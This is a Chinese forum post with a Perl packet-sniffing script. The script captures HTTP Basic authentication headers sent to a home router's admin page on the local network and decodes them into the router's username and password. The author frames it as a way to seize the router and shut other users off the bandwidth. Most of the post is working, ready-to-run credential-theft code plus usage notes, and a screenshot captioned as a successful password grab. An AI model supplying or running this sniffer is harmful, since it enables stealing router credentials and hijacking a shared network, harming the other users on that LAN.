- 论坛徽章:
- 0
|
- #!/usr/bin/perl -w
- #############################################
- #作者:Minuit
- #时间:2007年02月03日 星期六 01时23分09秒
- #文件名:base64_test.pl
- #描述:从局域网中获取宽带路由用户名密码(用BASE64编码解码)
- #############################################
- use strict;
- use vars qw($i %opts %base_encode64 %base_decode64 $dev $dst $port $pcap $err $filter $program $net $mask);
- use subs qw(usage encode decode);
- use Net::Pcap;
- use Carp;
- $i=0;
- %base_decode64=map{$_=>$i++}('A'..'Z','a'..'z','0'..'9','+','/','=');
- $i=0;
- %base_encode64=map{$i++=>$_}('A'..'Z','a'..'z','0'..'9','+','/','=');
- use Getopt::Std;
- getopts('i:d:p:h', \%opts);
- $opts{i} and $dev=$opts{i};
- $opts{d} and $dst=$opts{d};
- $opts{p} and $port=$opts{p};
- $opts{h} and usage($0);
- $SIG{INT}=sub {
- Net::Pcap::close($pcap) if defined $pcap;
- };
- die "Must have (UID|EUID) == 0 to use $0\n" if $> || $<;
- $dst||="192.168.1.1";
- $port||="80";
- $filter="dst host $dst and dst port $port and tcp[13]&8==8";
- $dev||=Net::Pcap::lookupdev(\$err) or die "lookupdev:$err\n";
- $pcap=Net::Pcap::open_live($dev, 1024,1,0,\$err) or die "open_live:$err\n";
- Net::Pcap::lookupnet($dev,\$net,\$mask,\$err) and die "lookupnet:$err\n";
- Net::Pcap::compile($pcap,\$program,$filter,10,$mask) and croak "compile(): check string with filter";
- Net::Pcap::setfilter($pcap,$program);
- Net::Pcap::loop($pcap,0,\&recvpacket,"");
- sub recvpacket {
- my($user_data, $header, $packet) = @_;
- #解码
- print decode($1),"\n" if($packet=~/Authorization[\s:]*Basic\s*?(\S*)\r\n/osg);
- }
- sub decode {
- chomp(my $str=shift);
- my ($code,$res);
- $str=~s/=$//;
- map{$code.=substr unpack("B*",chr($base_decode64{"$_"})),2}unpack("A"x length $str,$str);
- $res=join "",map{chr(oct("0b$_"))}unpack("A8"x int(length($code)/8),$code);
- ($res="User=$res")=~s/:/,Passwrod=/;
- $res;
- }
- sub encode {
- chomp(my $str=shift);
- my ($code,$res);
- #先把base64编码后字符串分解然后变成二进制串再合并
- $code=pack("A*",map{unpack("B*",$_)}split " ",$str);
- #得到后的全部二进制串长度然后除6看有多少个6位为一组的串组数
- my $klen=int(length($code)/6);
- #以6位为一组串的多余部份
- my $tlen=int(length($str)*8%6);
- #多余部份不然6位以0填充
- $klen++,$code.=substr("000000",$tlen) if $tlen;
- #分解二进制串以6位为一组然后转换成base64对应的编码再连接成串
- $res=join "",map{$base_encode64{oct("0b00$_")}}unpack("A6"x $klen,$code);
- #如果填充了字节那就以等号结束
- $res.=$tlen?'=':'';
- }
- sub usage {
- print <<"EOF";
- Usage:$0 [-idp] -i interface -d dstip -p dstprot
- EOF
- exit
- }
复制代码
有的朋友经常在局域网里被人用网络执法官一类的工具整吧,然后用很多种办法(例如mac绑定,还有和他对着用等等方法最后大家都上不成)都不是很有效
对付这类工具最直接的办法就是控制路由器然后自己找一个没人想得到的网段改一下然后把自己主机改成相同网段那就OK了现在所有带宽都为你所用很爽吧
那怎么控制呢显然是获得路由器的用户名密码
说一下原理
一般的宽带路由器(并非像cisco那样庞大的玩意只是一般的家用路由)差不多都是用web管理进行配置的而它的验证方式也是用简单的http认证用的编码算法是base64码
所以只需对它简单的解码就可以得到路由器的用户名密码了
base64编码规则是把所有8位二进制以6位为一组,然后对每6位前面加两个0组成新的8位为一组.然后根据base64编码表,一一对换如果出现多余部份不足6位就在后面加0接着根据前面规则在6位前加两个0然后尾部加上等号(这是根据我自己理解可能不是很正确)
http 验证是给用户发用一401代码让用户接受检验在这里我们用不着管服务器端
当服务器通知客户端要验证时客户端会出现一个小对话框,这个程序就是在用户提交用户信息时开始做自己的事情的
在提交信息里面有一个Authorization的选项就是带上客户的用户名和密码这个程序就是根据这个字段来获得的然后对它进得解码
编码就不讲了我们只用到解码说一下用法
-i 指定监听接口(默认:随便一个接口一般是eth0)
-d 路由器地址(默认:192.168.1.1)
-p 路由器web管理端口(默认:80)
还有一点有的宽带路由器可能不同所以方法会用一点小的改变,或者你把编过码的串用上面的函数手动的给解一下就行了^_^
上面的两个函数效率很低但一般用在小路由器上还是OK的但是别用在文件上编码上如果想自己写建议用vec函数来实现
有什么不正确的地方欢迎拍砖^_^
如果要考虑解码效率可以看看C 版本解码函数,你也可以转成perl模块MIME::Base64应该也是从C函数转过来的吧
http://bbs.chinaunix.net/viewthread.php?tid=895790&extra=page%3D1
[ 本帖最后由 lovesaka 于 2007-2-5 02:10 编辑 ] |
-
抓图4.png
(40.12 KB, 下载次数: 142)
成功获得密码
|